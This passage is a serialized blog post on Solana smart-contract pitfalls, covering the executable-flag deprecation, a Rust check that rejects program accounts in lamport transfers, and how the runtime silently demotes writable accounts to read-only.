data.\n",{"type":26,"tag":217,"props":93391,"children":93392},{"class":7028,"line":7553},[93393],{"type":26,"tag":217,"props":93394,"children":93395},{"style":7048},[93396],{"type":32,"value":93295},{"type":26,"tag":39,"props":93398,"children":93399},{},[93400,93402,93409],{"type":32,"value":93401},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":26,"tag":163,"props":93403,"children":93406},{"href":93404,"rel":93405},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[167],[93407],{"type":32,"value":93408},"SIMD-0162",{"type":32,"value":93410},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":26,"tag":39,"props":93412,"children":93413},{},[93414,93416,93421,93423,93428],{"type":32,"value":93415},"This change is also a ",{"type":26,"tag":9348,"props":93417,"children":93418},{},[93419],{"type":32,"value":93420},"hard requirement for supporting the new loader-v4",{"type":32,"value":93422},". Unlike the upgradable loader, which relies on a separate ",{"type":26,"tag":83,"props":93424,"children":93426},{"className":93425},[],[93427],{"type":32,"value":93303},{"type":32,"value":93429}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":26,"tag":39,"props":93431,"children":93432},{},[93433,93435,93442,93444,93449],{"type":32,"value":93434},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":26,"tag":163,"props":93436,"children":93439},{"href":93437,"rel":93438},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[167],[93440],{"type":32,"value":93441},"migrate",{"type":32,"value":93443}," from the upgradable loader to loader-v4 — without hitting the ",{"type":26,"tag":83,"props":93445,"children":93447},{"className":93446},[],[93448],{"type":32,"value":92872},{"type":32,"value":93450}," restriction.",{"type":26,"tag":631,"props":93452,"children":93454},{"id":93453},"fix-2-reject-program-accounts",[93455],{"type":32,"value":93456},"Fix 2: Reject Program Accounts",{"type":26,"tag":39,"props":93458,"children":93459},{},[93460],{"type":32,"value":93461},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":26,"tag":207,"props":93463,"children":93465},{"className":56140,"code":93464,"language":56139,"meta":8,"style":8},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[93466],{"type":26,"tag":83,"props":93467,"children":93468},{"__ignoreMap":8},[93469,93546,93594,93611,93618,93658,93703,93728,93780,93808],{"type":26,"tag":217,"props":93470,"children":93471},{"class":7028,"line":7029},[93472,93476,93480,93485,93489,93493,93497,93501,93506,93510,93514,93518,93522,93526,93530,93534,93538,93542],{"type":26,"tag":217,"props":93473,"children":93474},{"style":7154},[93475],{"type":32,"value":56830},{"type":26,"tag":217,"props":93477,"children":93478},{"style":7154},[93479],{"type":32,"value":56835},{"type":26,"tag":217,"props":93481,"children":93482},{"style":7064},[93483],{"type":32,"value":93484}," can_transfer_lamports",{"type":26,"tag":217,"props":93486,"children":93487},{"style":7048},[93488],{"type":32,"value":1851},{"type":26,"tag":217,"props":93490,"children":93491},{"style":7054},[93492],{"type":32,"value":92995},{"type":26,"tag":217,"props":93494,"children":93495},{"style":7149},[93496],{"type":32,"value":1473},{"type":26,"tag":217,"props":93498,"children":93499},{"style":7149},[93500],{"type":32,"value":10222},{"type":26,"tag":217,"props":93502,"children":93503},{"style":7119},[93504],{"type":32,"value":93505},"AccountInfo",{"type":26,"tag":217,"props":93507,"children":93508},{"style":7048},[93509],{"type":32,"value":7599},{"type":26,"tag":217,"props":93511,"children":93512},{"style":7054},[93513],{"type":32,"value":92598},{"type":26,"tag":217,"props":93515,"children":93516},{"style":7149},[93517],{"type":32,"value":1473},{"type":26,"tag":217,"props":93519,"children":93520},{"style":7119},[93521],{"type":32,"value":91146},{"type":26,"tag":217,"props":93523,"children":93524},{"style":7048},[93525],{"type":32,"value":8380},{"type":26,"tag":217,"props":93527,"children":93528},{"style":7149},[93529],{"type":32,"value":10115},{"type":26,"tag":217,"props":93531,"children":93532},{"style":7119},[93533],{"type":32,"value":56945},{"type":26,"tag":217,"props":93535,"children":93536},{"style":7048},[93537],{"type":32,"value":7289},{"type":26,"tag":217,"props":93539,"children":93540},{"style":7119},[93541],{"type":32,"value":74880},{"type":26,"tag":217,"props":93543,"children":93544},{"style":7048},[93545],{"type":32,"value":77772},{"type":26,"tag":217,"props":93547,"children":93548},{"class":7028,"line":6770},[93549,93553,93558,93562,93566,93570,93574,93578,93582,93586,93590],{"type":26,"tag":217,"props":93550,"children":93551},{"style":7154},[93552],{"type":32,"value":77603},{"type":26,"tag":217,"props":93554,"children":93555},{"style":7064},[93556],{"type":32,"value":93557}," is_program",{"type":26,"tag":217,"props":93559,"children":93560},{"style":7048},[93561],{"type":32,"value":1851},{"type":26,"tag":217,"props":93563,"children":93564},{"style":7054},[93565],{"type":32,"value":92995},{"type":26,"tag":217,"props":93567,"children":93568},{"style":7149},[93569],{"type":32,"value":1473},{"type":26,"tag":217,"props":93571,"children":93572},{"style":7149},[93573],{"type":32,"value":10222},{"type":26,"tag":217,"props":93575,"children":93576},{"style":7119},[93577],{"type":32,"value":93505},{"type":26,"tag":217,"props":93579,"children":93580},{"style":7048},[93581],{"type":32,"value":8380},{"type":26,"tag":217,"props":93583,"children":93584},{"style":7149},[93585],{"type":32,"value":10115},{"type":26,"tag":217,"props":93587,"children":93588},{"style":7119},[93589],{"type":32,"value":79568},{"type":26,"tag":217,"props":93591,"children":93592},{"style":7048},[93593],{"type":32,"value":8064},{"type":26,"tag":217,"props":93595,"children":93596},{"class":7028,"line":6779},[93597,93602,93606],{"type":26,"tag":217,"props":93598,"children":93599},{"style":7054},[93600],{"type":32,"value":93601},"    account",{"type":26,"tag":217,"props":93603,"children":93604},{"style":7149},[93605],{"type":32,"value":180},{"type":26,"tag":217,"props":93607,"children":93608},{"style":7048},[93609],{"type":32,"value":93610},"executable\n",{"type":26,"tag":217,"props":93612,"children":93613},{"class":7028,"line":7140},[93614],{"type":26,"tag":217,"props":93615,"children":93616},{"style":7048},[93617],{"type":32,"value":7184},{"type":26,"tag":217,"props":93619,"children":93620},{"class":7028,"line":7165},[93621,93625,93629,93633,93638,93642,93646,93650,93654],{"type":26,"tag":217,"props":93622,"children":93623},{"style":7154},[93624],{"type":32,"value":12470},{"type":26,"tag":217,"props":93626,"children":93627},{"style":7054},[93628],{"type":32,"value":92361},{"type":26,"tag":217,"props":93630,"children":93631},{"style":7149},[93632],{"type":32,"value":8993},{"type":26,"tag":217,"props":93634,"children":93635},{"style":7119},[93636],{"type":32,"value":93637}," Rent",{"type":26,"tag":217,"props":93639,"children":93640},{"style":7149},[93641],{"type":32,"value":56166},{"type":26,"tag":217,"props":93643,"children":93644},{"style":7064},[93645],{"type":32,"value":67276},{"type":26,"tag":217,"props":93647,"children":93648},{"style":7048},[93649],{"type":32,"value":78002},{"type":26,"tag":217,"props":93651,"children":93652},{"style":7149},[93653],{"type":32,"value":605},{"type":26,"tag":217,"props":93655,"children":93656},{"style":7048},[93657],{"type":32,"value":7162},{"type":26,"tag":217,"props":93659,"children":93660},{"class":7028,"line":7178},[93661,93665,93670,93674,93679,93683,93687,93691,93695,93699],{"type":26,"tag":217,"props":93662,"children":93663},{"style":7154},[93664],{"type":32,"value":12470},{"type":26,"tag":217,"props":93666,"children":93667},{"style":7054},[93668],{"type":32,"value":93669}," balance_after",{"type":26,"tag":217,"props":93671,"children":93672},{"style":7149},[93673],{"type":32,"value":8993},{"type":26,"tag":217,"props":93675,"children":93676},{"style":7054},[93677],{"type":32,"value":93678}," account",{"type":26,"tag":217,"props":93680,"children":93681},{"style":7149},[93682],{"type":32,"value":180},{"type":26,"tag":217,"props":93684,"children":93685},{"style":7064},[93686],{"type":32,"value":92598},{"type":26,"tag":217,"props":93688,"children":93689},{"style":7048},[93690],{"type":32,"value":61808},{"type":26,"tag":217,"props":93692,"children":93693},{"style":7149},[93694],{"type":32,"value":3540},{"type":26,"tag":217,"props":93696,"children":93697},{"style":7054},[93698],{"type":32,"value":92677},{"type":26,"tag":217,"props":93700,"children":93701},{"style":7048},[93702],{"type":32,"value":7162},{"type":26,"tag":217,"props":93704,"children":93705},{"class":7028,"line":7389},[93706,93711,93715,93719,93723],{"type":26,"tag":217,"props":93707,"children":93708},{"style":7119},[93709],{"type":32,"value":93710},"Ok",{"type":26,"tag":217,"props":93712,"children":93713},{"style":7048},[93714],{"type":32,"value":1851},{"type":26,"tag":217,"props":93716,"children":93717},{"style":7054},[93718],{"type":32,"value":92995},{"type":26,"tag":217,"props":93720,"children":93721},{"style":7149},[93722],{"type":32,"value":180},{"type":26,"tag":217,"props":93724,"children":93725},{"style":7048},[93726],{"type":32,"value":93727},"is_writable\n",{"type":26,"tag":217,"props":93729,"children":93730},{"class":7028,"line":7406},[93731,93736,93740,93744,93749,93753,93758,93762,93766,93770,93775],{"type":26,"tag":217,"props":93732,"children":93733},{"style":7149},[93734],{"type":32,"value":93735},"    &&",{"type":26,"tag":217,"props":93737,"children":93738},{"style":7054},[93739],{"type":32,"value":92361},{"type":26,"tag":217,"props":93741,"children":93742},{"style":7149},[93743],{"type":32,"value":180},{"type":26,"tag":217,"props":93745,"children":93746},{"style":7064},[93747],{"type":32,"value":93748},"is_exempt",{"type":26,"tag":217,"props":93750,"children":93751},{"style":7048},[93752],{"type":32,"value":1851},{"type":26,"tag":217,"props":93754,"children":93755},{"style":7054},[93756],{"type":32,"value":93757},"balance_after",{"type":26,"tag":217,"props":93759,"children":93760},{"style":7048},[93761],{"type":32,"value":7599},{"type":26,"tag":217,"props":93763,"children":93764},{"style":7054},[93765],{"type":32,"value":92995},{"type":26,"tag":217,"props":93767,"children":93768},{"style":7149},[93769],{"type":32,"value":180},{"type":26,"tag":217,"props":93771,"children":93772},{"style":7064},[93773],{"type":32,"value":93774},"data_len",{"type":26,"tag":217,"props":93776,"children":93777},{"style":7048},[93778],{"type":32,"value":93779},"())\n",{"type":26,"tag":217,"props":93781,"children":93782},{"class":7028,"line":7439},[93783,93787,93791,93796,93800,93804],{"type":26,"tag":217,"props":93784,"children":93785},{"style":7149},[93786],{"type":32,"value":93735},{"type":26,"tag":217,"props":93788,"children":93789},{"style":7149},[93790],{"type":32,"value":37846},{"type":26,"tag":217,"props":93792,"children":93793},{"style":7064},[93794],{"type":32,"value":93795},"is_program",{"type":26,"tag":217,"props":93797,"children":93798},{"style":7048},[93799],{"type":32,"value":1851},{"type":26,"tag":217,"props":93801,"children":93802},{"style":7054},[93803],{"type":32,"value":92995},{"type":26,"tag":217,"props":93805,"children":93806},{"style":7048},[93807],{"type":32,"value":18548},{"type":26,"tag":217,"props":93809,"children":93810},{"class":7028,"line":7487},[93811],{"type":26,"tag":217,"props":93812,"children":93813},{"style":7048},[93814],{"type":32,"value":7184},{"type":26,"tag":39,"props":93816,"children":93817},{},[93818],{"type":32,"value":93819},"Now we’re safe...right?",{"type":26,"tag":607,"props":93821,"children":93823},{"id":93822},"bug-3-the-write-demotion-trap",[93824],{"type":32,"value":93825},"Bug 3: The Write-Demotion Trap",{"type":26,"tag":39,"props":93827,"children":93828},{},[93829,93831,93836,93838,93843],{"type":32,"value":93830},"On Solana, accounts passed as ",{"type":26,"tag":9348,"props":93832,"children":93833},{},[93834],{"type":32,"value":93835},"writable",{"type":32,"value":93837}," in a transaction can be ",{"type":26,"tag":9348,"props":93839,"children":93840},{},[93841],{"type":32,"value":93842},"silently downgraded to read-only",{"type":32,"value":93844},". This behavior occurs during message sanitization — even before your program runs.",{"type":26,"tag":39,"props":93846,"children":93847},{},[93848,93850,93857],{"type":32,"value":93849},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":26,"tag":163,"props":93851,"children":93854},{"href":93852,"rel":93853},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[167],[93855],{"type":32,"value":93856},"MessageV0",{"type":32,"value":93858},", but legacy is simpler to follow):",{"type":26,"tag":207,"props":93860,"children":93862},{"className":56140,"code":93861,"language":56139,"meta":8,"style":8},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[93863],{"type":26,"tag":83,"props":93864,"children":93865},{"__ignoreMap":8},[93866,93874,93899,93989,94010,94023,94039,94055,94104,94133,94187,94223,94231,94268,94280,94318,94330,94337,94344,94351,94358,94366,94427,94480],{"type":26,"tag":217,"props":93867,"children":93868},{"class":7028,"line":7029},[93869],{"type":26,"tag":217,"props":93870,"children":93871},{"style":7033},[93872],{"type":32,"value":93873},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":26,"tag":217,"props":93875,"children":93876},{"class":7028,"line":6770},[93877,93882,93887,93891,93895],{"type":26,"tag":217,"props":93878,"children":93879},{"style":7154},[93880],{"type":32,"value":93881},"impl",{"type":26,"tag":217,"props":93883,"children":93884},{"style":7119},[93885],{"type":32,"value":93886}," LegacyMessage",{"type":26,"tag":217,"props":93888,"children":93889},{"style":7048},[93890],{"type":32,"value":90764},{"type":26,"tag":217,"props":93892,"children":93893},{"style":7119},[93894],{"type":32,"value":49012},{"type":26,"tag":217,"props":93896,"children":93897},{"style":7048},[93898],{"type":32,"value":77772},{"type":26,"tag":217,"props":93900,"children":93901},{"class":7028,"line":6779},[93902,93906,93910,93914,93918,93923,93927,93932,93936,93941,93945,93950,93954,93958,93963,93967,93971,93976,93980,93985],{"type":26,"tag":217,"props":93903,"children":93904},{"style":7154},[93905],{"type":32,"value":90798},{"type":26,"tag":217,"props":93907,"children":93908},{"style":7154},[93909],{"type":32,"value":56835},{"type":26,"tag":217,"props":93911,"children":93912},{"style":7064},[93913],{"type":32,"value":25931},{"type":26,"tag":217,"props":93915,"children":93916},{"style":7048},[93917],{"type":32,"value":1851},{"type":26,"tag":217,"props":93919,"children":93920},{"style":7054},[93921],{"type":32,"value":93922},"message",{"type":26,"tag":217,"props":93924,"children":93925},{"style":7149},[93926],{"type":32,"value":1473},{"type":26,"tag":217,"props":93928,"children":93929},{"style":7048},[93930],{"type":32,"value":93931}," legacy",{"type":26,"tag":217,"props":93933,"children":93934},{"style":7149},[93935],{"type":32,"value":56166},{"type":26,"tag":217,"props":93937,"children":93938},{"style":7119},[93939],{"type":32,"value":93940},"Message",{"type":26,"tag":217,"props":93942,"children":93943},{"style":7048},[93944],{"type":32,"value":7599},{"type":26,"tag":217,"props":93946,"children":93947},{"style":7054},[93948],{"type":32,"value":93949},"reserved_account_keys",{"type":26,"tag":217,"props":93951,"children":93952},{"style":7149},[93953],{"type":32,"value":1473},{"type":26,"tag":217,"props":93955,"children":93956},{"style":7149},[93957],{"type":32,"value":10222},{"type":26,"tag":217,"props":93959,"children":93960},{"style":7119},[93961],{"type":32,"value":93962},"HashSet",{"type":26,"tag":217,"props":93964,"children":93965},{"style":7048},[93966],{"type":32,"value":7289},{"type":26,"tag":217,"props":93968,"children":93969},{"style":7119},[93970],{"type":32,"value":93369},{"type":26,"tag":217,"props":93972,"children":93973},{"style":7048},[93974],{"type":32,"value":93975},">) ",{"type":26,"tag":217,"props":93977,"children":93978},{"style":7149},[93979],{"type":32,"value":10115},{"type":26,"tag":217,"props":93981,"children":93982},{"style":7154},[93983],{"type":32,"value":93984}," Self",{"type":26,"tag":217,"props":93986,"children":93987},{"style":7048},[93988],{"type":32,"value":8064},{"type":26,"tag":217,"props":93990,"children":93991},{"class":7028,"line":7140},[93992,93996,94001,94005],{"type":26,"tag":217,"props":93993,"children":93994},{"style":7154},[93995],{"type":32,"value":91366},{"type":26,"tag":217,"props":93997,"children":93998},{"style":7054},[93999],{"type":32,"value":94000}," is_writable_account_cache",{"type":26,"tag":217,"props":94002,"children":94003},{"style":7149},[94004],{"type":32,"value":8993},{"type":26,"tag":217,"props":94006,"children":94007},{"style":7054},[94008],{"type":32,"value":94009}," message\n",{"type":26,"tag":217,"props":94011,"children":94012},{"class":7028,"line":7165},[94013,94018],{"type":26,"tag":217,"props":94014,"children":94015},{"style":7149},[94016],{"type":32,"value":94017},"            .",{"type":26,"tag":217,"props":94019,"children":94020},{"style":7048},[94021],{"type":32,"value":94022},"account_keys\n",{"type":26,"tag":217,"props":94024,"children":94025},{"class":7028,"line":7178},[94026,94030,94035],{"type":26,"tag":217,"props":94027,"children":94028},{"style":7149},[94029],{"type":32,"value":94017},{"type":26,"tag":217,"props":94031,"children":94032},{"style":7064},[94033],{"type":32,"value":94034},"iter",{"type":26,"tag":217,"props":94036,"children":94037},{"style":7048},[94038],{"type":32,"value":64888},{"type":26,"tag":217,"props":94040,"children":94041},{"class":7028,"line":7389},[94042,94046,94051],{"type":26,"tag":217,"props":94043,"children":94044},{"style":7149},[94045],{"type":32,"value":94017},{"type":26,"tag":217,"props":94047,"children":94048},{"style":7064},[94049],{"type":32,"value":94050},"enumerate",{"type":26,"tag":217,"props":94052,"children":94053},{"style":7048},[94054],{"type":32,"value":64888},{"type":26,"tag":217,"props":94056,"children":94057},{"class":7028,"line":7406},[94058,94062,94066,94070,94075,94079,94083,94087,94092,94096,94100],{"type":26,"tag":217,"props":94059,"children":94060},{"style":7149},[94061],{"type":32,"value":94017},{"type":26,"tag":217,"props":94063,"children":94064},{"style":7064},[94065],{"type":32,"value":78426},{"type":26,"tag":217,"props":94067,"children":94068},{"style":7048},[94069],{"type":32,"value":1851},{"type":26,"tag":217,"props":94071,"children":94072},{"style":7149},[94073],{"type":32,"value":94074},"|",{"type":26,"tag":217,"props":94076,"children":94077},{"style":7048},[94078],{"type":32,"value":1851},{"type":26,"tag":217,"props":94080,"children":94081},{"style":7054},[94082],{"type":32,"value":2290},{"type":26,"tag":217,"props":94084,"children":94085},{"style":7048},[94086],{"type":32,"value":7599},{"type":26,"tag":217,"props":94088,"children":94089},{"style":7054},[94090],{"type":32,"value":94091},"_key",{"type":26,"tag":217,"props":94093,"children":94094},{"style":7048},[94095],{"type":32,"value":1889},{"type":26,"tag":217,"props":94097,"children":94098},{"style":7149},[94099],{"type":32,"value":94074},{"type":26,"tag":217,"props":94101,"children":94102},{"style":7048},[94103],{"type":32,"value":8064},{"type":26,"tag":217,"props":94105,"children":94106},{"class":7028,"line":7439},[94107,94112,94116,94121,94125,94129],{"type":26,"tag":217,"props":94108,"children":94109},{"style":7054},[94110],{"type":32,"value":94111},"                message",{"type":26,"tag":217,"props":94113,"children":94114},{"style":7149},[94115],{"type":32,"value":180},{"type":26,"tag":217,"props":94117,"children":94118},{"style":7064},[94119],{"type":32,"value":94120},"is_writable_index",{"type":26,"tag":217,"props":94122,"children":94123},{"style":7048},[94124],{"type":32,"value":1851},{"type":26,"tag":217,"props":94126,"children":94127},{"style":7054},[94128],{"type":32,"value":2290},{"type":26,"tag":217,"props":94130,"children":94131},{"style":7048},[94132],{"type":32,"value":10025},{"type":26,"tag":217,"props":94134,"children":94135},{"class":7028,"line":7487},[94136,94141,94145,94149,94153,94158,94162,94166,94170,94174,94179,94183],{"type":26,"tag":217,"props":94137,"children":94138},{"style":7149},[94139],{"type":32,"value":94140},"                    &&",{"type":26,"tag":217,"props":94142,"children":94143},{"style":7149},[94144],{"type":32,"value":37846},{"type":26,"tag":217,"props":94146,"children":94147},{"style":7054},[94148],{"type":32,"value":93949},{"type":26,"tag":217,"props":94150,"children":94151},{"style":7149},[94152],{"type":32,"value":180},{"type":26,"tag":217,"props":94154,"children":94155},{"style":7064},[94156],{"type":32,"value":94157},"contains",{"type":26,"tag":217,"props":94159,"children":94160},{"style":7048},[94161],{"type":32,"value":1851},{"type":26,"tag":217,"props":94163,"children":94164},{"style":7149},[94165],{"type":32,"value":9804},{"type":26,"tag":217,"props":94167,"children":94168},{"style":7054},[94169],{"type":32,"value":93922},{"type":26,"tag":217,"props":94171,"children":94172},{"style":7149},[94173],{"type":32,"value":180},{"type":26,"tag":217,"props":94175,"children":94176},{"style":7048},[94177],{"type":32,"value":94178},"account_keys[",{"type":26,"tag":217,"props":94180,"children":94181},{"style":7054},[94182],{"type":32,"value":2290},{"type":26,"tag":217,"props":94184,"children":94185},{"style":7048},[94186],{"type":32,"value":89638},{"type":26,"tag":217,"props":94188,"children":94189},{"class":7028,"line":7524},[94190,94194,94198,94202,94206,94211,94215,94219],{"type":26,"tag":217,"props":94191,"children":94192},{"style":7149},[94193],{"type":32,"value":94140},{"type":26,"tag":217,"props":94195,"children":94196},{"style":7149},[94197],{"type":32,"value":37846},{"type":26,"tag":217,"props":94199,"children":94200},{"style":7054},[94201],{"type":32,"value":93922},{"type":26,"tag":217,"props":94203,"children":94204},{"style":7149},[94205],{"type":32,"value":180},{"type":26,"tag":217,"props":94207,"children":94208},{"style":7064},[94209],{"type":32,"value":94210},"demote_program_id",{"type":26,"tag":217,"props":94212,"children":94213},{"style":7048},[94214],{"type":32,"value":1851},{"type":26,"tag":217,"props":94216,"children":94217},{"style":7054},[94218],{"type":32,"value":2290},{"type":26,"tag":217,"props":94220,"children":94221},{"style":7048},[94222],{"type":32,"value":10025},{"type":26,"tag":217,"props":94224,"children":94225},{"class":7028,"line":7553},[94226],{"type":26,"tag":217,"props":94227,"children":94228},{"style":7048},[94229],{"type":32,"value":94230},"            })\n",{"type":26,"tag":217,"props":94232,"children":94233},{"class":7028,"line":7570},[94234,94238,94243,94247,94251,94255,94259,94263],{"type":26,"tag":217,"props":94235,"children":94236},{"style":7149},[94237],{"type":32,"value":94017},{"type":26,"tag":217,"props":94239,"children":94240},{"style":7064},[94241],{"type":32,"value":94242},"collect",{"type":26,"tag":217,"props":94244,"children":94245},{"style":7149},[94246],{"type":32,"value":56166},{"type":26,"tag":217,"props":94248,"children":94249},{"style":7048},[94250],{"type":32,"value":7289},{"type":26,"tag":217,"props":94252,"children":94253},{"style":7119},[94254],{"type":32,"value":907},{"type":26,"tag":217,"props":94256,"children":94257},{"style":7048},[94258],{"type":32,"value":7289},{"type":26,"tag":217,"props":94260,"children":94261},{"style":7054},[94262],{"type":32,"value":49012},{"type":26,"tag":217,"props":94264,"children":94265},{"style":7048},[94266],{"type":32,"value":94267},">>();\n",{"type":26,"tag":217,"props":94269,"children":94270},{"class":7028,"line":7621},[94271,94276],{"type":26,"tag":217,"props":94272,"children":94273},{"style":7154},[94274],{"type":32,"value":94275},"        Self",{"type":26,"tag":217,"props":94277,"children":94278},{"style":7048},[94279],{"type":32,"value":8064},{"type":26,"tag":217,"props":94281,"children":94282},{"class":7028,"line":7672},[94283,94288,94292,94297,94301,94306,94310,94314],{"type":26,"tag":217,"props":94284,"children":94285},{"style":7054},[94286],{"type":32,"value":94287},"            message",{"type":26,"tag":217,"props":94289,"children":94290},{"style":7149},[94291],{"type":32,"value":1473},{"type":26,"tag":217,"props":94293,"children":94294},{"style":7119},[94295],{"type":32,"value":94296}," Cow",{"type":26,"tag":217,"props":94298,"children":94299},{"style":7149},[94300],{"type":32,"value":56166},{"type":26,"tag":217,"props":94302,"children":94303},{"style":7064},[94304],{"type":32,"value":94305},"Owned",{"type":26,"tag":217,"props":94307,"children":94308},{"style":7048},[94309],{"type":32,"value":1851},{"type":26,"tag":217,"props":94311,"children":94312},{"style":7054},[94313],{"type":32,"value":93922},{"type":26,"tag":217,"props":94315,"children":94316},{"style":7048},[94317],{"type":32,"value":13841},{"type":26,"tag":217,"props":94319,"children":94320},{"class":7028,"line":7681},[94321,94326],{"type":26,"tag":217,"props":94322,"children":94323},{"style":7054},[94324],{"type":32,"value":94325},"            is_writable_account_cache",{"type":26,"tag":217,"props":94327,"children":94328},{"style":7048},[94329],{"type":32,"value":10953},{"type":26,"tag":217,"props":94331,"children":94332},{"class":7028,"line":7754},[94333],{"type":26,"tag":217,"props":94334,"children":94335},{"style":7048},[94336],{"type":32,"value":8722},{"type":26,"tag":217,"props":94338,"children":94339},{"class":7028,"line":7784},[94340],{"type":26,"tag":217,"props":94341,"children":94342},{"style":7048},[94343],{"type":32,"value":9754},{"type":26,"tag":217,"props":94345,"children":94346},{"class":7028,"line":7802},[94347],{"type":26,"tag":217,"props":94348,"children":94349},{"style":7048},[94350],{"type":32,"value":7184},{"type":26,"tag":217,"props":94352,"children":94353},{"class":7028,"line":7811},[94354],{"type":26,"tag":217,"props":94355,"children":94356},{"emptyLinePlaceholder":17},[94357],{"type":32,"value":7817},{"type":26,"tag":217,"props":94359,"children":94360},{"class":7028,"line":7820},[94361],{"type":26,"tag":217,"props":94362,"children":94363},{"style":7033},[94364],{"type":32,"value":94365},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":26,"tag":217,"props":94367,"children":94368},{"class":7028,"line":7844},[94369,94373,94377,94382,94386,94390,94394,94398,94402,94406,94411,94415,94419,94423],{"type":26,"tag":217,"props":94370,"children":94371},{"style":7154},[94372],{"type":32,"value":56830},{"type":26,"tag":217,"props":94374,"children":94375},{"style":7154},[94376],{"type":32,"value":56835},{"type":26,"tag":217,"props":94378,"children":94379},{"style":7064},[94380],{"type":32,"value":94381}," demote_program_id",{"type":26,"tag":217,"props":94383,"children":94384},{"style":7048},[94385],{"type":32,"value":1851},{"type":26,"tag":217,"props":94387,"children":94388},{"style":7149},[94389],{"type":32,"value":9804},{"type":26,"tag":217,"props":94391,"children":94392},{"style":7154},[94393],{"type":32,"value":91922},{"type":26,"tag":217,"props":94395,"children":94396},{"style":7048},[94397],{"type":32,"value":7599},{"type":26,"tag":217,"props":94399,"children":94400},{"style":7054},[94401],{"type":32,"value":2290},{"type":26,"tag":217,"props":94403,"children":94404},{"style":7149},[94405],{"type":32,"value":1473},{"type":26,"tag":217,"props":94407,"children":94408},{"style":7119},[94409],{"type":32,"value":94410}," usize",{"type":26,"tag":217,"props":94412,"children":94413},{"style":7048},[94414],{"type":32,"value":8380},{"type":26,"tag":217,"props":94416,"children":94417},{"style":7149},[94418],{"type":32,"value":10115},{"type":26,"tag":217,"props":94420,"children":94421},{"style":7119},[94422],{"type":32,"value":79568},{"type":26,"tag":217,"props":94424,"children":94425},{"style":7048},[94426],{"type":32,"value":8064},{"type":26,"tag":217,"props":94428,"children":94429},{"class":7028,"line":7910},[94430,94434,94438,94443,94447,94451,94455,94459,94463,94467,94471,94476],{"type":26,"tag":217,"props":94431,"children":94432},{"style":7154},[94433],{"type":32,"value":92958},{"type":26,"tag":217,"props":94435,"children":94436},{"style":7149},[94437],{"type":32,"value":180},{"type":26,"tag":217,"props":94439,"children":94440},{"style":7064},[94441],{"type":32,"value":94442},"is_key_called_as_program",{"type":26,"tag":217,"props":94444,"children":94445},{"style":7048},[94446],{"type":32,"value":1851},{"type":26,"tag":217,"props":94448,"children":94449},{"style":7054},[94450],{"type":32,"value":2290},{"type":26,"tag":217,"props":94452,"children":94453},{"style":7048},[94454],{"type":32,"value":8380},{"type":26,"tag":217,"props":94456,"children":94457},{"style":7149},[94458],{"type":32,"value":14809},{"type":26,"tag":217,"props":94460,"children":94461},{"style":7149},[94462],{"type":32,"value":37846},{"type":26,"tag":217,"props":94464,"children":94465},{"style":7154},[94466],{"type":32,"value":91922},{"type":26,"tag":217,"props":94468,"children":94469},{"style":7149},[94470],{"type":32,"value":180},{"type":26,"tag":217,"props":94472,"children":94473},{"style":7064},[94474],{"type":32,"value":94475},"is_upgradeable_loader_present",{"type":26,"tag":217,"props":94477,"children":94478},{"style":7048},[94479],{"type":32,"value":64888},{"type":26,"tag":217,"props":94481,"children":94482},{"class":7028,"line":7954},[94483],{"type":26,"tag":217,"props":94484,"children":94485},{"style":7048},[94486],{"type":32,"value":7184},{"type":26,"tag":39,"props":94488,"children":94489},{},[94490],{"type":32,"value":94491},"As you can see, there are two main causes of write-demotion:",{"type":26,"tag":6712,"props":94493,"children":94494},{},[94495,94507],{"type":26,"tag":2044,"props":94496,"children":94497},{},[94498,94500],{"type":32,"value":94499},"The account appears in the ",{"type":26,"tag":163,"props":94501,"children":94504},{"href":94502,"rel":94503},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[167],[94505],{"type":32,"value":94506},"reserved account list",{"type":26,"tag":2044,"props":94508,"children":94509},{},[94510],{"type":32,"value":94511},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":26,"tag":39,"props":94513,"children":94514},{},[94515],{"type":32,"value":94516},"The second case is generally covered by the executable check implemented previously.",{"type":26,"tag":39,"props":94518,"children":94519},{},[94520],{"type":32,"value":94521},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":26,"tag":631,"props":94523,"children":94525},{"id":94524},"the-reserved-account-list",[94526],{"type":32,"value":94527},"The Reserved Account List",{"type":26,"tag":39,"props":94529,"children":94530},{},[94531,94533,94538],{"type":32,"value":94532},"The Solana runtime maintains a 